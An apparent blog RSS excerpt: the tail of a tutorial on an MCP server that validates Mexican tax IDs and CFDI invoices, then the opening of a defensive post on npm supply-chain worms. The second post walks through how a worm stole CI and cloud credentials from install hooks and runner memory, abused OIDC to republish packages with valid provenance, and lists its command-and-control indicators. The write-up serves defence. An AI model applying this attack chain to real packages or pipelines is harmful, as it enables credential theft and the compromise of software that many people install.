&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Mexican ID Validator — RFC, CURP, CLABE, NSS &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Check whether an RFC, CURP, CLABE or NSS is correct. Detects the type on its own, verifies the check digit and breaks down every part of the ID. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/mexican-id-validator/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;validador-rfc-curp-clabe&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;six-details-a-regex-gets-wrong&quot;&gt;Six details a regex gets wrong&lt;/h2&gt;
&lt;h3 id=&quot;1-the-general-public-rfc-does-not-satisfy-its-own-check-digit&quot;&gt;1. The general-public RFC does not satisfy its own check digit&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XAXX010101000&lt;/code&gt; is the RFC for sales to the general public, and &lt;code&gt;XEXX010101000&lt;/code&gt; is for foreign residents. Run the modulus-11 algorithm on the first twelve characters of the first one and it asks for a &lt;code&gt;4&lt;/code&gt;. The second one happens to satisfy it.&lt;/p&gt;
&lt;p&gt;A validator that only runs the algorithm rejects every invoice issued to the general public — which is why so many billing forms refuse them. A validator that only checks the shape accepts typos. The server reports the two facts separately: &lt;code&gt;is_generic: true&lt;/code&gt; and &lt;code&gt;check_digit_satisfied: false&lt;/code&gt;, and says in words why that combination is fine.&lt;/p&gt;
&lt;h3 id=&quot;2-clabe-keeps-the-last-digit-of-each-product-not-the-sum-of-its-digits&quot;&gt;2. CLABE keeps the last digit of each product, not the sum of its digits&lt;/h3&gt;
&lt;p&gt;The CLABE control digit weights the first 17 digits with 3, 7, 1, 3, 7, 1… From each product it keeps &lt;strong&gt;the last digit&lt;/strong&gt; — the product modulo 10 — so a &lt;code&gt;63&lt;/code&gt; contributes &lt;code&gt;3&lt;/code&gt;. Then it sums, takes the sum modulo 10 and subtracts from 10 (a result of 10 means the digit is &lt;code&gt;0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;An implementation that copies Luhn does something else: when a product goes above 9, it adds up its digits, so the same &lt;code&gt;63&lt;/code&gt; contributes &lt;code&gt;6 + 3 = 9&lt;/code&gt;. The two routes do not agree: for the 17 digits &lt;code&gt;09000000000000000&lt;/code&gt;, the CLABE algorithm gives &lt;code&gt;7&lt;/code&gt; and the Luhn-style version gives &lt;code&gt;1&lt;/code&gt;. That is enough to accept mistyped account numbers and reject good ones.&lt;/p&gt;
&lt;h3 id=&quot;3-the-curps-17th-character-carries-the-century&quot;&gt;3. The CURP’s 17th character carries the century&lt;/h3&gt;
&lt;p&gt;A CURP stores the birth year in two digits, so &lt;code&gt;31&lt;/code&gt; could be 1931 or 2031. RENAPO resolves it with the 17th character: &lt;strong&gt;a digit means born before 2000, a letter means born in 2000 or later.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the one I got wrong. The first version of the server read that rule backwards, and because the birth date is itself decoded through that character, it reported a “disagreement between the marker and the date” on every valid CURP it saw. The test suite had captured the wrong message as expected behaviour. An independent review caught it before publication; the canonical test vector &lt;code&gt;BOXW310820HNERXN09&lt;/code&gt; now decodes, correctly, to 20 August 1931.&lt;/p&gt;
&lt;h3 id=&quot;4-curp-state-keys-are-renapos-not-inegis&quot;&gt;4. CURP state keys are RENAPO’s, not INEGI’s&lt;/h3&gt;
&lt;p&gt;Positions 12 and 13 of a CURP encode the state of birth, with RENAPO’s own keys: &lt;code&gt;DF&lt;/code&gt; is Mexico City, &lt;code&gt;MC&lt;/code&gt; is the State of Mexico and &lt;code&gt;NE&lt;/code&gt; means born abroad. They match neither the INEGI state codes nor ISO 3166-2:MX, so a lookup against either table silently mislabels people.&lt;/p&gt;
&lt;h3 id=&quot;5-the-sat-status-query-is-picky-about-the-total&quot;&gt;5. The SAT status query is picky about the total&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;cfdi_status&lt;/code&gt; sends the SAT an expression built from four values: issuer RFC, receiver RFC, total and UUID. The total goes in the format the reference implementations use (&lt;a href=&quot;https://github.com/nodecfdi/cfdi-expresiones&quot;&gt;nodecfdi&lt;/a&gt; and phpcfdi): six decimals with trailing zeros trimmed, but keeping at least one. So &lt;code&gt;1160.00&lt;/code&gt; travels as &lt;code&gt;1160.0&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-text&quot; data-language=&quot;text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;?re=TES150312DX2&amp;amp;rr=PELJ900521DK2&amp;amp;tt=1160.0&amp;amp;id=5A7B3C1D-9E2F-4A6B-8C0D-1E2F3A4B5C6D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A total that doesn’t follow that format, such as a hand-typed &lt;code&gt;1,160.00&lt;/code&gt;, can make the SAT answer &lt;em&gt;No Encontrado&lt;/em&gt; — “not found” — for an invoice that exists. That is why the server screens the four values before spending a request, and recommends passing the whole XML so it derives them itself.&lt;/p&gt;
&lt;p&gt;Two more rules live in the same query. An RFC containing &lt;code&gt;&amp;amp;&lt;/code&gt; travels encoded as &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, following the &lt;a href=&quot;https://github.com/nodecfdi/sat-estado-cfdi&quot;&gt;nodecfdi&lt;/a&gt; reference implementation. And an empty &lt;code&gt;ValidacionEFOS&lt;/code&gt; field does &lt;strong&gt;not&lt;/strong&gt; mean the issuer is on the 69-B list of companies that invoice simulated operations. The &lt;a href=&quot;http://omawww.sat.gob.mx/tramitesyservicios/Paginas/documentos/Documentacion_WS_Consulta_CFDI_v1.4.pdf&quot;&gt;SAT’s documentation for the service&lt;/a&gt; defines the codes — 100 to 104 when the issuer or a third-party RFC on the invoice is listed (102 and 103 mean the issuer is not, only a third party is), 200 and 201 when neither is — but not an empty value, so the server reports an empty field as &lt;code&gt;unknown&lt;/code&gt;, never as “listed”. Since version 1.0.2 it keeps the two questions apart: &lt;code&gt;efos_state&lt;/code&gt; answers only for the issuer (100, 101 and 104 are &lt;code&gt;listed&lt;/code&gt;; 102, 103, 200 and 201 are &lt;code&gt;not_listed&lt;/code&gt;) and &lt;code&gt;efos_third_party_state&lt;/code&gt; for third-party RFCs, with the raw code always in &lt;code&gt;validacion_efos&lt;/code&gt;. Version 1.0.1 read 102 and 103 as “the issuer is listed”, which the SAT document contradicts. Either way, check the published 69-B list before acting on it.&lt;/p&gt;
&lt;h3 id=&quot;6-the-total-includes-local-taxes&quot;&gt;6. The total includes local taxes&lt;/h3&gt;
&lt;p&gt;The arithmetic check — subtotal minus discount plus transferred taxes minus withheld taxes — is how you spot a tampered or broken invoice. But the CFDI 4.0 schema defines the total over federal &lt;strong&gt;and local&lt;/strong&gt; taxes, and local ones live in a separate &lt;code&gt;implocal&lt;/code&gt; complement. A hotel invoice with a state lodging tax looks off by exactly that tax if you ignore the complement. The server adds it in.&lt;/p&gt;
&lt;p&gt;If you only want to open an invoice by hand, with no agent involved, the &lt;a href=&quot;https://www.siemprecontable.net/herramientas/visor-cfdi&quot;&gt;CFDI viewer&lt;/a&gt; that started on this site now lives on Siempre Contable (in Spanish).&lt;/p&gt;
&lt;h2 id=&quot;reading-and-verifying-are-different-things&quot;&gt;Reading and verifying are different things&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;parse_cfdi&lt;/code&gt; reads the XML: header, issuer, receiver, every line item with its taxes, the tax totals and the digital stamp. It labels every code (&lt;code&gt;G03&lt;/code&gt; is &lt;em&gt;Gastos en general&lt;/em&gt;, &lt;code&gt;601&lt;/code&gt; is &lt;em&gt;General de Ley Personas Morales&lt;/em&gt;), validates both RFCs and checks the arithmetic.&lt;/p&gt;
&lt;p&gt;It does &lt;strong&gt;not&lt;/strong&gt; verify the digital signature. A perfectly parseable invoice can be cancelled or fabricated wholesale, which is what &lt;code&gt;cfdi_status&lt;/code&gt; is for. And an unreachable SAT is not an invalid invoice: the service has no status page and it does go down (its documentation states a capacity of up to 2 million queries an hour and asks callers not to raise their volume, but promises no availability). When it fails, the tool returns &lt;code&gt;available: false&lt;/code&gt; with the reason — a statement about the SAT, never about the document — after a 10-second timeout and one retry.&lt;/p&gt;
&lt;p&gt;The same honesty applies to identifiers. A check digit that adds up says the string is well formed and nothing more. Only the SAT can say an RFC is registered, and only RENAPO that a CURP belongs to someone; this server asks neither, and its wording never implies it did. Even the fake data is labelled carefully: it is generated from common names, so a generated CURP or phone number can coincide with a real person’s by chance.&lt;/p&gt;
&lt;h2 id=&quot;what-it-deliberately-does-not-do&quot;&gt;What it deliberately does not do&lt;/h2&gt;
&lt;p&gt;It does not build, seal or stamp invoices. That half of Mexican e-invoicing needs your digital-seal certificate (CSD) and, for the stamp, a PAC, and it already has an MCP server: &lt;a href=&quot;https://github.com/cmendezs/mcp-cfdi-mx&quot;&gt;mcp-cfdi-mx&lt;/a&gt;, in Python, which builds, validates and seals CFDI 4.0 with your own CSD; the stamping itself still goes through a PAC. This one is the read half, which needs nothing, and the two complement each other.&lt;/p&gt;
&lt;h2 id=&quot;self-hosting-it-safely&quot;&gt;Self-hosting it safely&lt;/h2&gt;
&lt;p&gt;Besides stdio, the server speaks stateless Streamable HTTP for shared or remote use:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token assign-left variable&quot;&gt;TRANSPORT&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;http npx &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; mx-fiscal-mcp-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is safe by default: it binds to &lt;code&gt;127.0.0.1&lt;/code&gt; and only accepts &lt;code&gt;localhost&lt;/code&gt; &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;Origin&lt;/code&gt; headers, which blocks DNS-rebinding attacks from a web page. To expose it behind a reverse proxy, set &lt;code&gt;HOST=0.0.0.0&lt;/code&gt;, &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; with your public hostname and &lt;code&gt;MCP_AUTH_TOKEN&lt;/code&gt; for Bearer authentication. Don’t skip the token: an open instance relays requests to the SAT for anyone and can get your IP rate-limited.&lt;/p&gt;
&lt;p&gt;Invoice XML is untrusted input, so a document that declares a &lt;code&gt;DOCTYPE&lt;/code&gt; is refused before parsing (a CFDI never has one), and size and element-count caps bound the memory a single parse can take.&lt;/p&gt;
&lt;p&gt;The check-digit arithmetic lives in &lt;a href=&quot;https://www.npmjs.com/package/mx-identifiers&quot;&gt;mx-identifiers&lt;/a&gt;, a zero-dependency library tested against the public SAT, Banxico and RENAPO vectors, and the server has 51 offline unit tests plus a smoke test that calls every tool over the real protocol in both protocol eras. If you are looking for MCP servers in other areas, I keep a list of &lt;a href=&quot;https://ortamarco.me/en/blog/best-mcp-servers-for-seo-2026/&quot;&gt;the best MCP servers for SEO&lt;/a&gt;, including my own.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does the server need a SAT account, a CSD certificate or an API key? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Every check-digit algorithm and every catalogue is public, and the SAT&amp;#39;s CFDI status service — the one behind the QR code on printed invoices — is public and unauthenticated. The server only reads; it never stamps or cancels anything, so it needs no credentials of any kind. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does the SAT say &amp;#39;No Encontrado&amp;#39; for an invoice that exists? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Usually because one of the four query values does not match what the SAT stored: a total in another format (it goes with six decimals and trailing zeros trimmed, keeping one, so 1160.00 travels as 1160.0), a thousands separator or a mistyped UUID. Passing the whole XML to cfdi_status lets the server derive the four values itself. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is XAXX010101000 a valid RFC? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Yes. It is the SAT&amp;#39;s generic RFC for sales to the general public, assigned by decree, and it appears on real invoices. It does not satisfy the modulus-11 check digit — the algorithm asks for a 4 — so validators without an explicit allow-list reject it. XEXX010101000, for foreign residents, is also generic and does satisfy the algorithm. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can the generated test data belong to a real person? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; By chance, yes. generate_test_data builds each record from common Mexican names and a random birth date, and a CURP is derived from exactly those fields, so a collision with a real person&amp;#39;s CURP or phone number is possible. The data is meant for fixtures, seeds and demos; never send it to the SAT or a PAC, and never use it as a stand-in for a customer&amp;#39;s real data. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Tutorials</category><category>MCP</category><category>Claude</category><category>CFDI</category><category>Mexico</category><category>TypeScript</category><category>AI Agents</category><author>Marco Orta</author></item><item><title>npm Supply Chain: The Worm That Walked In Through Trusted Publishing</title><link>https://ortamarco.me/en/blog/npm-supply-chain-trusted-publishing-not-enough/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/npm-supply-chain-trusted-publishing-not-enough/</guid><description>The unanimous advice since 2025 was to migrate to trusted publishing with OIDC. In May 2026 Shai-Hulud walked in that way and published TanStack packages with legitimate provenance. What OIDC really protects, what it does not, and the four measures that would have stopped the recent attacks.</description><pubDate>Tue, 08 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;For a year, npm security advice was a single sentence and everybody repeated it: stop publishing with long-lived tokens and move to &lt;em&gt;trusted publishing&lt;/em&gt; with OIDC. It was good advice. It still is. And on May 11, 2026, the Shai-Hulud worm published dozens of official &lt;code&gt;@tanstack/*&lt;/code&gt; packages by walking in exactly that way&lt;/strong&gt; — not by forging provenance, but by genuinely generating it from the project’s own legitimate workflow.&lt;/p&gt;
&lt;p&gt;That distinction is the whole article. A malicious package with an authentic Sigstore signature, issued by Fulcio, logged in Rekor, backed by the real repository context. Every indicator you were taught to check said “fine.”&lt;/p&gt;
&lt;p&gt;This doesn’t mean trusted publishing is useless, or that anyone should go back to tokens. It means something more uncomfortable: &lt;strong&gt;it’s a layer, not a perimeter&lt;/strong&gt;, and we spent a year selling it as the second thing. Here’s what it actually protects, what it leaves out, and the four measures that would have stopped the last twelve months of attacks.&lt;/p&gt;
&lt;h2 id=&quot;the-timeline-with-dates&quot;&gt;The timeline, with dates&lt;/h2&gt;
&lt;p&gt;Worth having in front of you, because the cadence matters more than any single incident:&lt;/p&gt;

























































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What happened&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Jul 2025&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Trusted publishing with OIDC&lt;/strong&gt; goes generally available on npm&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Aug 26, 2025&lt;/td&gt;&lt;td&gt;&lt;strong&gt;S1ngularity&lt;/strong&gt; attack&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sep 8, 2025&lt;/td&gt;&lt;td&gt;Phishing against &lt;code&gt;debug&lt;/code&gt;, &lt;code&gt;chalk&lt;/code&gt; and 16 more utilities — &lt;strong&gt;live for two hours&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sep 15, 2025&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Shai-Hulud wave 1&lt;/strong&gt;: 700+ packages compromised&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Nov 23, 2025&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Shai-Hulud 2.0&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Dec 9, 2025&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;npm &lt;strong&gt;permanently revokes every classic token&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Feb 2026&lt;/td&gt;&lt;td&gt;npm CLI &lt;strong&gt;11.10.0&lt;/strong&gt; ships &lt;code&gt;min-release-age&lt;/code&gt; and bulk OIDC configuration&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mar 30, 2026&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;axios@1.14.1&lt;/code&gt;&lt;/strong&gt; compromised — 100M weekly downloads&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;May 11, 2026&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Shai-Hulud against TanStack&lt;/strong&gt;, entering through trusted publishing itself&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;May 14, 2026&lt;/td&gt;&lt;td&gt;&lt;code&gt;node-ipc&lt;/code&gt;: three malicious versions with an 80 KB credential stealer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Jun 1, 2026&lt;/td&gt;&lt;td&gt;32 &lt;code&gt;@redhat-cloud-services&lt;/code&gt; packages, payload named “Miasma”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Aug 2026&lt;/td&gt;&lt;td&gt;New wave: &lt;code&gt;keyv&lt;/code&gt; and 400+ packages&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Ten months, eight campaigns. &lt;strong&gt;This is no longer a series of incidents: it’s the registry’s normal operating state.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;how-it-came-in-through-the-good-door&quot;&gt;How it came in through the good door&lt;/h2&gt;
&lt;p&gt;The TanStack attack is worth following step by step, because each link dismantles a different assumption. &lt;a href=&quot;https://www.upwind.io/feed/shai-hulud-tanstack-supply-chain-worm&quot;&gt;Upwind’s reconstruction&lt;/a&gt; lays it out like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;A “dropper” dependency&lt;/strong&gt; lands in &lt;code&gt;package.json&lt;/code&gt; and runs during installation via npm’s lifecycle hooks. Nothing exotic: that’s documented behaviour.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The dropper downloads and runs the Bun runtime.&lt;/strong&gt; That way it doesn’t depend on the installed Node and it sidesteps monitoring that watches for Node executions.&lt;/li&gt;
&lt;li&gt;Under Bun runs &lt;strong&gt;a heavily obfuscated 2.3 MB payload&lt;/strong&gt; (&lt;code&gt;router_init.js&lt;/code&gt;) that daemonises itself and stays alive after the install finishes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credential sweep&lt;/strong&gt;: filesystem, cloud APIs, and — this is the good part — &lt;strong&gt;GitHub Actions runner memory, scraped from &lt;code&gt;/proc/*/mem&lt;/code&gt;&lt;/strong&gt;. Targets: AWS keys, npm tokens, Kubernetes service accounts, AI assistant configs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OIDC abuse&lt;/strong&gt;: rather than needing a stored npm token, it &lt;strong&gt;exchanges the GitHub Actions OIDC token for dynamic publish access&lt;/strong&gt;. The workflow’s &lt;code&gt;id-token: write&lt;/code&gt; permission is the key.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Propagation&lt;/strong&gt;: with that access it downloads target packages, injects itself, &lt;strong&gt;bumps the version by exactly +3&lt;/strong&gt; and republishes.&lt;/li&gt;
&lt;li&gt;And along the way it &lt;strong&gt;mints a Sigstore bundle through Fulcio and Rekor&lt;/strong&gt; — so the malicious tarball ships with provenance generated from the trusted workflow context.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Point 7 is the one to internalise. &lt;strong&gt;There was no forgery.&lt;/strong&gt; The chain of trust worked exactly as designed; what was compromised was the link before it, the CI runner. Provenance answers “was this built where it says?”, and the answer was yes. It does not answer “is what was built what the maintainer wrote?”, which was the question that mattered.&lt;/p&gt;
&lt;p&gt;The published indicators, in case you need to sweep: workflows talking to &lt;code&gt;api.masscan[.]cloud&lt;/code&gt; or &lt;code&gt;83.142.209.194&lt;/code&gt;, and persistence artifacts named &lt;code&gt;router_init.js&lt;/code&gt;, &lt;code&gt;pgmonitor.py&lt;/code&gt; or &lt;code&gt;pgsql-monitor.service&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;so-is-trusted-publishing-worth-it&quot;&gt;So is trusted publishing worth it?&lt;/h2&gt;
&lt;p&gt;Yes, very much so. But the split is worth being explicit about, because the generic advice never is:&lt;/p&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Threat&lt;/th&gt;&lt;th&gt;Does OIDC stop it?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;npm token stolen off a laptop&lt;/td&gt;&lt;td&gt;✅ Yes — there’s no token to steal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token leaked in a CI log or a &lt;code&gt;.env&lt;/code&gt;&lt;/td&gt;&lt;td&gt;✅ Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maintainer phishing (the &lt;code&gt;debug&lt;/code&gt;/&lt;code&gt;chalk&lt;/code&gt; case)&lt;/td&gt;&lt;td&gt;✅ Largely&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token still valid months after a maintainer leaves&lt;/td&gt;&lt;td&gt;✅ Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CI runner compromised during the build&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Malicious dependency running in &lt;code&gt;postinstall&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CI cache poisoning&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;⛔ &lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maintainer’s GitHub account compromised&lt;/td&gt;&lt;td&gt;⛔ No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;The correct reading: &lt;strong&gt;OIDC eliminates the long-lived secret, which was the dominant vector through 2025. It does not defend the process that issues the publish.&lt;/strong&gt; And as the first vector closes, attacks move to the second. That is precisely what the timeline above shows.&lt;/p&gt;
&lt;p&gt;One number to calibrate how many people are still in the first box: according to &lt;a href=&quot;https://www.aikido.dev/blog/shai-hulud-trusted-publishing&quot;&gt;Aikido’s analysis&lt;/a&gt;, of the 51,370 most-downloaded packages &lt;strong&gt;only 11,001 use trusted publishing&lt;/strong&gt; — 21.4%, covering barely 25% of download volume. &lt;strong&gt;Three quarters of what you install every day is still published with tokens.&lt;/strong&gt; And adoption moves incident by incident: from a baseline of ~35 new packages a week it spiked to 372 during Shai-Hulud 2.0, then the urgency deflated again.&lt;/p&gt;
&lt;p&gt;So the message isn’t “trusted publishing failed.” It’s &lt;strong&gt;“migrate anyway, and also do these four things.”&lt;/strong&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id=&quot;the-four-measures-that-would-actually-have-stopped-this&quot;&gt;The four measures that would actually have stopped this&lt;/h2&gt;
&lt;h3 id=&quot;1-dependency-cooldown-dont-install-what-shipped-this-morning&quot;&gt;1. Dependency cooldown: don’t install what shipped this morning&lt;/h3&gt;
&lt;p&gt;This is by far the best impact-to-effort ratio available, and still the least used.&lt;/p&gt;
&lt;p&gt;The idea is offensively simple: &lt;strong&gt;tell your package manager to ignore versions published less than N days ago&lt;/strong&gt;. Almost all of these campaigns are detected and pulled within hours — the malicious &lt;code&gt;debug&lt;/code&gt; and &lt;code&gt;chalk&lt;/code&gt; versions were live for &lt;strong&gt;two hours&lt;/strong&gt; — so a modest delay takes you entirely out of the exposure window. Of ten attacks analysed, &lt;a href=&quot;https://christian-schneider.net/blog/dependency-cooldowns-supply-chain-defense/&quot;&gt;eight had windows shorter than a week&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All four managers support it natively now, with the trap that &lt;strong&gt;the units don’t match&lt;/strong&gt;:&lt;/p&gt;



































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Manager&lt;/th&gt;&lt;th&gt;Key&lt;/th&gt;&lt;th&gt;Unit&lt;/th&gt;&lt;th&gt;Since&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;npm&lt;/td&gt;&lt;td&gt;&lt;code&gt;min-release-age&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;days&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;CLI 11.10.0 (Feb 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;pnpm&lt;/td&gt;&lt;td&gt;&lt;code&gt;minimumReleaseAge&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;minutes&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10.16 (Sep 2025)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Yarn&lt;/td&gt;&lt;td&gt;&lt;code&gt;npmMinimalAgeGate&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;minutes&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Berry 4.10.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Bun&lt;/td&gt;&lt;td&gt;&lt;code&gt;minimumReleaseAge&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;seconds&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;—&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;In npm, one line in &lt;code&gt;.npmrc&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-ini&quot; data-language=&quot;ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token key attr-name&quot;&gt;min-release-age&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
